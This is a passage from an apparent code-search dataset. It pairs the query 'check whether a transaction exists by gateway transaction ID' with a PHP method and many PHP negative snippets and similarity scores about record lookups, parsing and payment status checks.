'products' => $invoiceProductsData,\n 'productsSum' => $this->formatUsdPrice($allProductsSum),\n 'deliverySum' => $this->formatUsdPrice($invoice->delivery_sum),\n ];\n }", "public function unserialize($serialized){\n\t\tthrow new Exception(\"Method \".__CLASS__.\"::\".__METHOD__.\" not implemented yet!\");\n\t}", "public function revert(string $serializedData)\n {\n return json_decode($serializedData, true);\n }", "public function __unserialize(array $data): void\n {\n $this->__construct($data);\n }", "function raw_zone_to_array($data)\n{\n $records = array();\n $data = explode(\"\\n\", $data);\n foreach ($data as $line)\n {\n if (psf_string_startsWith($line, \";\"))\n continue;\n // This is a little bit hard-core, we need to parse output from dig, which is terrible\n // In past we did some magic by simply replacing all tabs and spaces to split it, but that doesn't work\n // for some special TXT records\n // For example:\n // 2 tabs tab double space\n // v v v\n // example.org.\t\t600\tIN\tTXT\t\"v=spf1 a mx include:_spf.example.org ip4:124.6.178.206 ~all\"\n //\n // keep in mind that dig is randomly using tabs as separators and randomly spaces\n //\n // So there are two easy ways of this mess\n // 1) we use regular expressions and pray a lot (we use this one)\n // 2) we simply walk through out the whole string, that's the correct way, but this is actually CPU intensive,\n // so we might want to implement this into some kind of C library I guess\n \n // Get rid of empty lines\n if (strlen(str_replace(\" \", \"\", $line)) == 0)\n continue;\n\n $records[] = preg_split('/[\\t\\s]/', $line, 5, PREG_SPLIT_NO_EMPTY);\n }\n return $records;\n}", "private static function parseIdCsvStringToArray($text)\n {\n $idArray = str_getcsv(preg_replace('/delete[\\s]*/m', '', strtolower($text)));\n\n return array_filter($idArray, function ($id) {\n\n return is_numeric($id);\n\n });\n\n\n }", "public function parse($resource)\n {\n return $resource->toArray();\n }", "protected function unserialize($data)\n {\n return unserialize($data);\n }", "function strToArray(&$string, &$array){\r\n $array = explode(\"\\n\", $string);\r\n }", "public function exchangeArray($data)\n {\n $this->niv_com_id = (isset($data['niv_com_id'])) ? $data['niv_com_id'] : null;\n $this->com_id = (isset($data['com_id'])) ? $data['com_id'] : null;\n $this->niv_com_referencia = (isset($data['niv_com_referencia'])) ? $data['niv_com_referencia'] : null;\n $this->niv_com_valor = (isset($data['niv_com_valor'])) ? $data['niv_com_valor'] : null;\n $this->niv_com_comportamiento = (isset($data['niv_com_comportamiento'])) ? $data['niv_com_comportamiento'] : null;\n }", "function loadFromArray($inArray) {\n\t\t$this->setID((int)$inArray['ID']);\n\t\t$this->setReplacesTerms((int)$inArray['replacesTerms']);\n\t\t$this->setVersion($inArray['version']);\n\t\t$this->setDescription($inArray['description']);\n\t\t$this->setHtmlLink($inArray['htmlLink']);\n\t\t$this->setPdfLink($inArray['pdfLink']);\n\t\t$this->setModified(false);\n\t}", "private function unpackData()\n {\n return json_decode($this->packedData, true);\n }", "public function find($invoiceId): array\n {\n return Billingo::get(\"invoices/{$invoiceId}\");\n }", "protected function _shippingFromArray($arr)\n\t{\n\t\tswitch ($this->_config['push_orders_as'])\n\t\t{\n\t\t\tcase QUICKBOOKS_OBJECT_SALESRECEIPT:\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\tcase QUICKBOOKS_OBJECT_SALESORDER:\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\tcase QUICKBOOKS_OBJECT_INVOICE:\n\t\t\tdefault:\n\t\t\t\t\n\t\t\t\t$InvoiceLine = new QuickBooks_Object_Invoice_InvoiceLine();\n\t\t\t\t\n\t\t\t\tif (!empty($arr['Rate']))\n\t\t\t\t{\n\t\t\t\t\t$InvoiceLine->setRate($arr['Rate']);\n\t\t\t\t\t$InvoiceLine->setQuantity(1);\n\t\t\t\t}\n\t\t\t\telse if (!empty($arr['Amount']))\n\t\t\t\t{\n\t\t\t\t\t$InvoiceLine->setAmount((float) $arr['Amount']);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$InvoiceLine->setAmount(0);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$map = array(\n\t\t\t\t\t'Desc' => \t\tarray( 'setDescription', 'Invoice InvoiceLine Desc' ),\n\t\t\t\t\t'ClassID' => \tarray( 'setClassApplicationID', 'ClassRef ' . QUICKBOOKS_API_APPLICATIONID, 'setClassListID' ), \n\t\t\t\t\t);\n\t\t\t\t\n\t\t\t\t$InvoiceLine = $this->_applyBaseMap($arr, $map, $InvoiceLine, 'Invoice InvoiceLine');\t\n\t\t\t\t\n\t\t\t\t$InvoiceLine->setItemApplicationID(QUICKBOOKS_INTEGRATOR_SHIPPING_ID);\n\t\t\t\t\n\t\t\t\treturn $InvoiceLine;\n\t\t}\n\t}", "function parseBISArray($str) {\n $str = substr($str, 1, -1); // Strip trailing quotes\n $bla = parseBISArray_helper($str);\n $result = array();\n\n foreach ($bla as $row) {\n foreach ($row as $child) {\n $result[] = $child;\n }\n if (count($row) == 0)\n $result[] = array();\n }\n //var_dump($result);\n return $result;\n}" ]
[ "0.58446276", "0.58164907", "0.55956686", "0.55956686", "0.5583764", "0.5503695", "0.5478447", "0.54061204", "0.5403968", "0.53967184", "0.5388829", "0.53279144", "0.53137285", "0.53022486", "0.52948534", "0.5272036", "0.5265965", "0.52201927", "0.5211069", "0.5206928", "0.51950127", "0.51491934", "0.5134832", "0.51315147", "0.51301515", "0.50820035", "0.50788593", "0.50676185", "0.505386", "0.5048697", "0.50369614", "0.503378", "0.50259006", "0.5021115", "0.5009816", "0.50075746", "0.50000525", "0.49931806", "0.49855977", "0.49796584", "0.49714333", "0.49709442", "0.49663225", "0.49529272", "0.49485862", "0.49457264", "0.49361056", "0.4934427", "0.4924633", "0.49201578", "0.4901151", "0.48939994", "0.48935753", "0.48905656", "0.48883405", "0.4881288", "0.48759884", "0.48700282", "0.4864764", "0.4859677", "0.48573884", "0.48468688", "0.48352197", "0.48267233", "0.48159912", "0.48109245", "0.4791963", "0.47780424", "0.47754613", "0.47751033", "0.4773586", "0.47690842", "0.47584414", "0.47493467", "0.47429714", "0.47386655", "0.47346723", "0.47226813", "0.4721382", "0.47185603", "0.4714398", "0.4706498", "0.47048762", "0.46929854", "0.46833342", "0.4680215", "0.46798715", "0.46747312", "0.46677223", "0.46660933", "0.46658748", "0.46653277", "0.46626842", "0.4658533", "0.46583864", "0.46577725", "0.46508288", "0.46481165", "0.46451136", "0.46352926" ]
0.71243894
0
Checks whether a transaction exists given the transaction ID from the gateway.
private function checkTransID($transaction_id, $client_id) { Loader::loadModels($this, array("Transactions")); $transaction = $this->Transactions->getByTransactionId($transaction_id, $client_id); if ($transaction) { return true; } else { return false; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function isTransactionExist($transactionId)\n {\n if (strlen($transactionId) <= 3) {\n return false;\n }\n\n $insertOrder = $this->db->fetchRow(\n 'SELECT id FROM s_order WHERE transactionID = ? AND status != -1',\n [$transactionId]\n );\n\n return !empty($insertOrder['id']);\n }", "public function is_transaction_exist() {\n\n $transaction = $this->ci->generic_model->retrieve_one(\n \"transaction_general\",\n array(\n \"package_id\" => $this->ci->input->post(\"package_id\"),\n \"package_type\" => $this->ci->input->post(\"package_type\")\n )\n );\n\n if ($transaction) { // there exists an object.\n return TRUE;\n } else { // object is not found.\n $this->ci->form_validation->set_message(\"is_transaction_exist\", \"Paket belum dibeli.\");\n return FALSE;\n }\n }", "protected function transactionIDExists(&$record) {\n \n $trxn_id = $record['transmission_number'] . '-' . $record['transaction_number'];\n\n $dao = CRM_Core_DAO::executeQuery(\n \"SELECT id, contact_id FROM civicrm_contribution WHERE trxn_id = %1\",\n array(\n 1 => array($trxn_id, 'String')\n )\n );\n\n if ($dao->fetch()) {\n $message = ts(\n \"Duplicate transaction number (%1) - already exists for contribution id %2 (%3) - KID number '%4' at line %5. %6\",\n array(\n 1 => $record['transaction_number'],\n 2 => $dao->id,\n 3 => $this->getDisplayName($dao->contact_id),\n 4 => $record['kid'],\n 5 => $record['line_no'],\n 6 => $this->test ? ts('Record will not be imported.') : ts('Record was not imported.')\n )\n );\n $this->addReportLine('warning', $message);\n if (!$this->test)\n $this->createFailureTableEntry($record, $message);\n return true;\n }\n \n return false; \n \n }", "function checkExistInTransaction($fund_id)\n{\n\tglobal $mysqli;\n\t$select_tran = \"select transaction_id from usaid_fund_transaction_detail where ledger_type_id='\".$fund_id.\"'\";\n\t$result_tran = $mysqli->query($select_tran) or die('Error'. $mysqli->error);\n\t$total_record = $result_tran->num_rows;\n\tif($total_record<1) return true;\n\telse return false;\n}", "function checkTransaction_exist($jm_txnid)\n\t{\n\t\t$query = null;\n\t\t$query = $this->db->get_where('jm_membership_payment', array(//making selection\n\t\t\t'jm_txnid' => $jm_txnid\n\t\t));\t\t\n\t\t\n\t\tif ($query->num_rows() > 0) {\n\t\t\treturn 0;\t\t\t\n\t\t} else {\n\t\t\treturn 1;\t\t\t\n\t\t}\n\t}", "public static function exists(int $id): bool;", "function merchantExists()\n {\n\n $this->getById();\n if ($this->auth_id != null) return true;\n else {\n return false;\n }\n }", "public function isValidTransactionId($id)\n {\n // if we've already got a transaction database ID, we're fine\n if (isset($this->_transactionDatabaseID)) {\n return true;\n }\n\n try {\n // inserts the new transaction and retrieves the database row ID\n $this->_transactionDatabaseID = intval($this->_insertTransaction($id));\n return true;\n } catch (Exception $e) {\n return false;\n }\n }", "public function hasTransactions();", "function exists($wallet_id)\r {\r\r $this->db->from('wallets');\r\r $this->db->where('wallet_id', $wallet_id);\r\r $query = $this->db->get();\r\r\r\r return ($query->num_rows() == 1);\r }", "public function exists($id);", "public function exists($id);", "public function check($transactionId)\r\n {\r\n $fields = [\r\n 'user' => config('bkash.username'),\r\n 'pass' => config('bkash.password'),\r\n 'msisdn' => config('bkash.mobile'),\r\n 'trxid' => $transactionId\r\n ];\r\n\r\n $response = $this->callApi($fields);\r\n\r\n return $this->apiResponse($response);\r\n }", "function donationIdExists($id) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT * FROM donation WHERE id = ?\",array($id));\n\t$num_returns = $query->count();\n\tif ($num_returns > 0){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}", "private function _checkTXNTableExists() {\n $curTable = readSetting( $this->settings['DataFile'], 'txnTable' );\n $txnTable = $this->settings['txnTable'];\n $rVal = false;\n\n // If the Transaction Table is Not the Same as Expected, then Create It\n if ( $curTable != $txnTable ) {\n $sqlStr = $this->_readTXNTableDefinitions();\n if ( $sqlStr ) {\n $rslt = doSQLExecute( $sqlStr );\n }\n\n // Confirm the Table Exists, and Save the TXN Name if Appropriate\n if ( $this->_confirmTXNTables() ) {\n $rVal = saveSetting( $this->settings['DataFile'], 'txnTable', $txnTable );\n writeNote( \"Saved Transaction Table Record: \" . BoolYN($rVal) );\n }\n }\n\n // Return the Boolean Response\n return $rVal;\n }", "public function isInTransaction(): bool;", "public function returnExists($id);", "public function rollback(string $transactionId): bool;", "private function checkIsExists(): bool\n {\n $where = [\n $this->table. '.vendorId' => $this->vendorId,\n $this->table. '.campaign' => $this->campaign,\n ];\n\n if (!is_null($this->id)) {\n $where[$this->table. '.id !='] = $this->id;\n }\n\n $id = $this->readImproved([\n 'what' => [$this->table. '.id'],\n 'where' => $where\n ]);\n\n return !is_null($id);\n }", "public function exists($id) {\n $path = $this->options['resource'];\n $path .= '/exists?data.' . $this->options['id_field'] . '=' . $id;\n $response = $this->get($path);\n return !!$response['body']['_id'];\n }", "public function checkTransactionAlreadyExists($data) { \n\t\t$transaction1=new Transaction(); \n $transaction=$transaction1->hasAny(array('trans_date'=>$this->data['Transaction']['trans_date'], 'trans_desc'=>$this->data['Transaction']['trans_desc']));\n\t\tif($transaction == \"1\"){\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn true;\n\t\t}\t\t\n }", "public function isInTransaction();", "public function isTransactionPartOf($id)\n {\n if ( $this->isTransactionPart() ) {\n return $id == $this->_transaction->id;\n } else {\n return false;\n }\n }", "public function exists($id)\n {\n if ($id === '' || !$this->validateHash($id)) {\n throw new \\RuntimeException('Oh noes! Something went wrong and we weren\\'t able to fix it');\n }\n try {\n $result = $this->get($id);\n\n if ($result) {\n return true;\n }\n } catch (\\Exception $e) {\n // log it\n throw new \\RuntimeException('Oh noes! Something went wrong and we weren\\'t able to fix it');\n }\n return false;\n }", "function exists($id);", "public function checkIfOrderExist($orderId);", "function existID($id, $includeBlocked = FALSE) {\n if (checkit::isGuid($id, TRUE)) {\n $sql = \"SELECT COUNT(*)\n FROM %s\n WHERE surfer_id = '%s' %s\";\n $blockedClause = ($includeBlocked === FALSE) ? ' AND surfer_valid != 4' : '';\n $params = array($this->tableSurfer, $id, $blockedClause);\n if ($res = $this->databaseQueryFmtWrite($sql, $params)) {\n if ($row = $res->fetchRow()) {\n return ((bool)$row[0] > 0);\n }\n }\n }\n return FALSE;\n }", "function transaction_check(){\n }", "function is_previously_used_txn_id ($txn_id) {\r\n\t\tglobal $db;\r\n\t\tif (!$result = $db->query(\"SELECT id FROM registrations WHERE pp_txn_id = '$txn_id'\")) {\r\n\t\t\tif (DEBUG == true) { error_log(($msg = \"Error running query: $sql\") . PHP_EOL, 3, LOG_FILE); }\r\n\t\t\tdie($msg);\r\n\t\t}\r\n\t\treturn $result->num_rows;\r\n\t}", "function cpay_CheckTransaction($hash) {\r\n $hash = loginDB_real_escape_string($hash);\r\n $query = \"SELECT `id` from `op_transactions` WHERE `hash`='\" . $hash . \"'\";\r\n $data = simple_query($query);\r\n if (empty($data)) {\r\n return (true);\r\n } else {\r\n return (false);\r\n }\r\n}", "public function inTransaction(): bool;", "public function isUnderTransaction();", "function leadIdExists($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT active\n\t\tFROM \" . $db_table_prefix . \"leads\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public static function is_txn_processed($txn_id){\n\t\t$mysql = mysql_connection::get_instance();\n\t\t\n\t\t$stmt = $mysql->prepare('SELECT 1 FROM `sales` WHERE `payment_txn_id` = ?');\n\t\t$stmt->bind_param('s', $txn_id);\n\t\t$stmt->execute();\n\t\t$total = $stmt->get_result()->num_rows;\n\t\t$stmt->close();\n\t\t\n\t\treturn ($total > 0);\n\t}", "function get_transaction_by_id($id){\n $str_query=\"select * from pos_transaction where transaction_id='$id'\";\n if(!$this->query($str_query)){\n return false;\n }\n return $this->fetch();\n }", "function exists($id) {\n\t\t$res = $this->query('SELECT EXISTS (SELECT * FROM `'.$this->table.'` WHERE `'.$this->primaryKey.'` = \\''.$this->escape($id).'\\')');\n\t\t$row = $res->fetch_row();\n\t\t$res->free();\n\t\treturn (bool) $row[0];\n\t}", "function is_exists($id) {\n $query = \"SELECT\n id\n FROM\n \" . $this->table_name . \" \n WHERE\n id = ?\n LIMIT\n 0,1\";\n \n // prepare query statement\n $stmt = $this->conn->prepare( $query );\n \n // bind id of user to be updated\n $stmt->bindParam(1, $id);\n \n // execute query\n $stmt->execute();\n \n // get retrieved row\n return ($stmt->rowCount() > 0);\n }", "static function exists($id) {\n $result = self::get($id);\n if (count($result) > 0) return true;\n return false;\n }", "function nvp_CheckTransaction($hash) {\r\n $hash= loginDB_real_escape_string($hash);\r\n $query=\"SELECT `id` from `op_transactions` WHERE `hash`='\".$hash.\"'\";\r\n $data= simple_query($query);\r\n if (!empty($data)) {\r\n return ($data['id']);\r\n } else {\r\n return (false);\r\n }\r\n}", "function checkTxnid($txnid) {\n\tglobal $db;\n\n\t$txnid = $db->real_escape_string($txnid);\n\t$results = $db->query('SELECT * FROM `payments` WHERE txnid = \\'' . $txnid . '\\'');\n\n\treturn ! $results->num_rows;\n}", "function exists($register_id)\n\t{\n\t\t$this->db->from('registers');\t\n\t\t$this->db->where('register_id',$register_id);\n\t\t$query = $this->db->get();\n\t\t\n\t\treturn ($query->num_rows()==1);\n\t}", "public function getTransactionObject($transaction_id) {\n $em = $this->em;\n $transaction_record = $em->getRepository('SixthContinentConnectBundle:Sixthcontinentconnecttransaction')\n ->findOneBy(array('id'=>$transaction_id));\n if (!$transaction_record) {\n return false;\n }\n return $transaction_record;\n }", "public function getTransactionById($unique_id)\n\t{\n\t\tif (isset($unique_id) && !empty($unique_id)) {\n\t\t\t$query = $this->db->query(\"SELECT * FROM `\" . DB_PREFIX . \"emerchantpay_checkout_transactions` WHERE `unique_id` = '\" . $this->db->escape($unique_id) . \"' LIMIT 1\");\n\n\t\t\tif ($query->num_rows) {\n\t\t\t\treturn reset($query->rows);\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "function cp_CheckTransaction($hash)\n{\n $hash = mysql_real_escape_string($hash);\n $query = \"SELECT `id` from `op_transactions` WHERE `hash`='\" . $hash . \"'\";\n $data = simple_query($query);\n if (!empty($data)) {\n return false;\n }\n return true;\n}", "function checkTxnid($txnid) {\n //Sample code from the reference\n\n $db = configDB();\n $q = $db->prepare('SELECT * FROM payments WHERE txnid = ?');\n $result = $q->execute(array($txnid));\n return !$q->rowCount();\n}", "public function transaction(): bool\r\n {\r\n return $this->instance->inTransaction() === true;\r\n }", "private function checkIfTransactionExist($transaction, $role = null)\n {\n if (!$transaction) {\n $this->session->getFlashBag()->set(\n 'warning',\n $this->translator->trans('transactions.messages.transaction_not_found')\n );\n if ($role === 'ROLE_ADMIN') {\n return new RedirectResponse(\n $this->router->generate('admin-transactions-index')\n );\n } else {\n return new RedirectResponse(\n $this->router->generate('wallets')\n );\n }\n }\n }", "public function exists()\n {\n return ($this->id) ? true : false;\n }", "public function exists($id) {\r\n\t\t//Checks first in the identity cache\r\n\t\tif($this->_hasIdentity($id)) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\t// Else checks in from table\r\n\t\t$rowset = $this->_getGateway()->find($id);\r\n\t\treturn count($rowset) > 0;\r\n\t}", "public function checkIDexists($car_id){\n $this->db->query('SELECT `id` FROM ' . CARS_TABLE . ' WHERE `id` = ' .$car_id);\n $this->db->getSingle();\n\n if( $this->db->rowCount() >= 1){\n return true;\n }else{\n return false;\n }\n }", "function get_transaction_status($transaction_id){\n $mid = $this->credentials.mid;\n $url = \"https://apps-uat.phonepe.com/v3/transaction/$mid/$transaction_id/status\";\n $salt_key = $this->credentials.salt_key;\n $salt_index = $this->credentials.salt_index;\n $_sha256 =hash(\"sha256\", \"/v3/transaction/$mid/$transaction_id/status$salt_key\");\n $request = new HttpRequest();\n $request->setUrl($url);\n $request->setMethod(HTTP_METH_GET);\n $request->setHeaders(array(\n \"x-verify\" => \"$_sha256###$salt_index\",\n \"x-client-id\" => $this->credentials.client_id,\n \"Content-Type\" => 'application/json',\n ));\n try {\n $response = $request->send();\n return $response->getBody();\n } catch (Exception $ex) {\n return $ex;\n }\n }", "public function exists($id)\n {\n return $this->getQuery()->eq('id', $id)->exists();\n }", "public function hasResponse($responseID);", "public function accountIdExists($id){\n try{\n $sql = 'SELECT idaccount FROM accounts WHERE idaccount=:id';\n $query = pdo()->prepare($sql);\n $query->bindValue(':id', $id, PDO::PARAM_INT);\n $query->execute();\n $res = $query->fetch(PDO::FETCH_ASSOC);\n $query->closeCursor();\n if($res){\n return true;\n }\n }\n catch(Exception $e)\n {\n trigger_error('Echec lors de la vérification si le compte(ID) existe : '.$e->getMessage(), E_USER_ERROR);\n }\n return false;\n }", "function isPaymentExist($operation_id){\r\n global $pdo;\r\n $stmt = $pdo->prepare('SELECT DepositVerification FROM deposits WHERE DepositVerification = :DepositVerification');\r\n $stmt->bindParam(':DepositVerification', $operation_id);\r\n $stmt->execute();\r\n\r\n return $stmt->rowCount() > 0;\r\n}", "public function checkExistence($intaskid)\n\t{\n\t\t$retval; \n\t\t\n\t\t$dbhandle = db_connect();\n\t\t$stmt = $dbhandle->stmt_init();\n\t\t\n\t\t$stmt->prepare(\"SELECT TaskID FROM Tasks WHERE TaskID=?\");\n\t\t$stmt->bind_param(\"i\", $intaskid);\n\t\t$stmt->execute();\n\t\t\n\t\t$stmt->store_result();\n\t\t\n\t\tif ($stmt->num_rows == 0)\n\t\t\t$retval = false;\n\t\telse\n\t\t\t$retval = true;\n\t\t\n\t\t$stmt->close();\n\t\t$dbhandle->close();\n\t\t\n\t\treturn $retval;\n\t}", "public function request_transaction_status($host_obj, $transaction_id)\n\t\t{\n\t\t\t$this->init_braintree_environment($host_obj);\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t$transaction = Braintree_Transaction::find($transaction_id);\n\t\t\t\tif (!$transaction)\n\t\t\t\t\tthrow new Phpr_ApplicationException('Transaction not found');\n\n\t\t\t\treturn new Shop_TransactionUpdate(\n\t\t\t\t\t$transaction->status,\n\t\t\t\t\t$this->get_status_name($transaction->status)\n\t\t\t\t);\n\t\t\t} catch (Exception $ex)\n\t\t\t{\n\t\t\t\tthrow new Phpr_ApplicationException($this->get_exception_description($ex));\n\t\t\t}\n\t\t}", "public function exists( $id, $archived = false )\n {\n $file = $this->fullpath( $id, $archived );\n return file_exists( $file );\n }", "private function checkIsExists(): bool\n {\n $id = $this->readImproved([\n 'what' => [$this->table. '.id'],\n 'where' => [\n $this->table. '.listId' => $this->listId,\n $this->table. '.campaignId' => $this->campaignId,\n ]\n ]);\n\n return !is_null($id);\n }", "public function getTransactionID();", "public static function isExistsPaymentItem($id){\n //print_r($id);exit;\n $result = DB::table('payment_cost_item')\n ->where('fk_payment_id', '=', $id)\n ->get();\n return $result;\n }", "public function exists($request)\n {\n $request_hash = $this->hash_request($request);\n $result = $this->_db->find('first', array('conditions' => array('request_hash' => $request_hash), 'fields' => array('id')));\n\n if (!empty($result)) {\n return true;\n } else {\n return false;\n }\n }", "public function exists()\n {\n return ($this->id > 0) ? true : false;\n }", "public static function doesUnitExist($unitID) {\n try {\n $unit = self::retrieveUnit($unitID);\n if (!$unit['id'] == 0) {\n return true;\n }\n else {\n return false;\n }\n }\n catch (Exception $e) {\n throw new Exception(\"Unit $unitID does not exist.\");\n }\n }", "function franchiseIdExists($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT active\n\t\tFROM \" . $db_table_prefix . \"franchise\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public function isTransaction(): bool\n {\n return $this->inTransaction();\n }", "public function exists(): bool;", "public function exists(): bool;", "public function exists(): bool;", "public function exists() {\n\t\treturn !is_null($this->id);\n\t}", "public function isTransactionVerificationValid()\n {\n try {\n $verified = $this->verifyTransactionAtGateway();\n return redirect()->route($verified['payment']['return_route_name'], ['locale' => app()->getLocale(), 'payment' => $verified['payment']]);\n } catch (ModelNotFoundException $th) {\n return back()->with('error', 'Error Finding Payment Reference Record');\n }\n }", "public function exists($id){\n\t\t$this->clearParams();\n\t\t$params = array_merge($this->paramsDefaults, array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions' => array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$this->primaryKey => $id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, 'fields' => array(1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t);\n\t\t$params = $this->filterParams($params);\n\t\t$row = $this->read($params);\n\t\treturn (count($row) > 0) ? true : false;\n\t}", "public function exists() {}", "protected function isExistsCaptureTransaction(OrderPaymentInterface $payment)\n {\n $this->searchCriteriaBuilder->addFilters(\n [\n $this->filterBuilder\n ->setField('payment_id')\n ->setValue($payment->getId())\n ->create(),\n ]\n );\n\n $this->searchCriteriaBuilder->addFilters(\n [\n $this->filterBuilder\n ->setField('txn_type')\n ->setValue(TransactionInterface::TYPE_CAPTURE)\n ->create(),\n ]\n );\n\n $searchCriteria = $this->searchCriteriaBuilder->create();\n\n $count = $this->transactionRepository->getList($searchCriteria)->getTotalCount();\n return (boolean) $count;\n }", "protected function entry_exists ($idXml)\r\n\t{\r\n\t\tglobal $xname;\r\n\t\t$query\t= \"SELECT id,id_xml FROM {$xname}_viviendas WHERE id_xml = {$idXml}\";\r\n\t\t$sql\t= $this->db->query($query);\r\n\t\tif ($sql) {\r\n\t\t\t$row\t= $sql->fetch_object();\r\n\t\t\tif (!empty($row->id_xml)) {\r\n\t\t\t\treturn $row->id;\r\n\t\t\t} else {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "public function iN_CheckVerificationRequestExist($vID) {\n\t\t$query = mysqli_query($this->db, \"SELECT * FROM i_verification_requests WHERE request_id = '$vID'\") or die(mysqli_error($this->db, $vID));\n\t\tif (mysqli_num_rows($query) == 1) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "public function CheckPayIn($transactionId)\n {\n //dump($transactionId);\n $payInStatus = $this->connexionApi->PayIns->Get($transactionId)->Status;\n //dump ($payInStatus);\n return $payInStatus;\n }", "public function has_gateway_error() {\n\n\t\treturn 1 === $this->transaction_error;\n\t}", "public function exists($id)\n {\n if ($this->_redis === null) {\n $this->_connect();\n }\n\n return $this->_redis->hExists($this->key, $id);\n }", "public function exists() {\n\t\t\t$matchFields = array(\n\t\t\t 'freeway_incidents.highway_id' => $this->highway_id,\n\t\t\t 'freeway_incidents.direction_id' => $this->direction_id,\n\t\t\t 'freeway_incidents.from_at' => $this->from_at,\n\t\t\t 'freeway_incidents.to' => $this->to,\n\t\t\t 'freeway_incidents.event_start' => $this->event_start\n\t\t\t);\n\t\t\t\n\t\t\t$q = new Query();\n\t\t\t$q->addTable('freeway_incidents');\n\t\t\tforeach ($matchFields as $field => $value) {\n\t\t\t\t$q->addWhere($field, $value);\n\t\t\t}\n\t\t\t$data = $this->db->getRow($q);\n\t\t\t\n\t\t\tif ($data) {\n\t\t\t\t$this->original_data = $data;\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t\n\t\t\treturn false;\n\t\t}", "public function exists($id)\n\t{\n\t\treturn apc_exists($id);\n\t}", "public function checkId($request_id, $unique_id)\n {\n if(!empty($request_id) && !empty($unique_id))\n {\n // Just do a simple check but also make sure this user exist\n $check = $this->pdo->prepare(\"SELECT unique_string_id FROM users WHERE unique_string_id=:unique_id\");\n $check->execute(array(\n ':unique_id' => $unique_id\n ));\n\n if($check->rowCount() == 1)\n {\n // Now check to see if the request id exist alongside this user salt\n $lastcheck = $this->pdo->prepare(\"SELECT * FROM forgotpassword WHERE user_salt_id=:salt_id AND request_id=:request_id\");\n $lastcheck->execute(array(\n ':salt_id' => $unique_id,\n ':request_id' => $request_id\n ));\n\n if($lastcheck->rowCount() == 1)\n {\n return true;\n }else\n {\n return false;\n }\n }else\n {\n return false;\n }\n }\n }", "public function getTransaction(Wallet $wallet, $id): Transaction;", "public function exists()\n {\n }", "public function exists()\n {\n }", "function isReceiptExist()\n\t{\n\t\tglobal $db;\n\n\t\t$query = 'SELECT receipt_id FROM '.receipt_table.' WHERE receipt_id = '.$this->receipt_id;\n\t\t$db->query($query);\n\t\t$result = $db->query($query);\n\n\t\tif(!$result)\n\t\t{\n\t\t\t$err_info = $db->errorInfo();\n\t\t\techo $err_info[2];\n\t\t\terror_log('Function : isReceiptExist, Class : receipt, '.$err_info[2]);\n\t\t\texit;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$arr = $result->fetch(PDO::FETCH_ASSOC);\n\t\t\t$receipt_id = $arr['receipt_id'];\n\t\t}\n\t\treturn $receipt_id;\n\t}", "public function exist(int $convID) : bool {\n\n\t\t//Perform a request on the database\n\t\t$tableName = self::LIST_TABLE;\n\n\t\treturn CS::get()->db->count($tableName, \"WHERE id = ?\", array($convID)) > 0;\n\n\t}", "public function exists($id) {\n\t\treturn boolval($this->getQueryClass()->filterById($id)->count());\n\t}", "function exists($item_kit_id)\n\t{\n\t\t// echo $item_kit_id;\n\t\t$query = $this->db->where(\"category\", \"tickets\")\n\t\t\t\t->where('item_kit_id',$item_kit_id)\n\t\t\t\t->get(\"item_kits\");\n\n\t\treturn ($query->num_rows() == 1);\n\t}", "function _existsInDatabase($id)\n {\n $conn = getConn();\n $sql = \"SELECT RubriekID FROM Rubriek WHERE RubriekID = ?\";\n $stmt = sqlsrv_prepare($conn, $sql, array($id));\n if (!$stmt) {\n die(print_r(sqlsrv_errors(), true));\n }\n sqlsrv_execute($stmt);\n if (sqlsrv_execute($stmt)) {\n $row = sqlsrv_has_rows( $stmt );\n if ($row === true){\n return true;\n }\n }\n return false;\n }", "public function has(string $id): bool;", "public function test_ShouldThrowException_IfPurchaseOrder_DoesntExists($id)\n {\n $response = $this->authorizePurchaseOrder(-1);\n dump( json_decode($response->content(), JSON_PRETTY_PRINT) );\n $this->assertError($response);\n }", "public static function exists($id) {\n $result = \\Drupal::database()->select('client', 'e')\n ->fields('e', ['id'])\n ->condition('id', $id, '=')\n ->execute()\n ->fetchField();\n return (bool) $result;\n }", "public function supportsTransaction(): bool;", "public function exists();", "public function exists();", "public function exists();", "public function testExists()\n {\n $this->assertFalse($this->insight->accounts->exists(12345));\n $this->insight->accounts->addTrial(12345);\n $this->assertTrue($this->insight->accounts->exists(12345));\n }", "public function exists($key){\n\n //get exists\n if($this->client->exists($key)){\n return true;\n }\n return false;\n }", "public function checkIsIdAvailable($id)\n {\n $condition = ['id' => $id];\n $response = $this->model->where($condition);\n \n return $response->count() > 0 ? false : true;\n 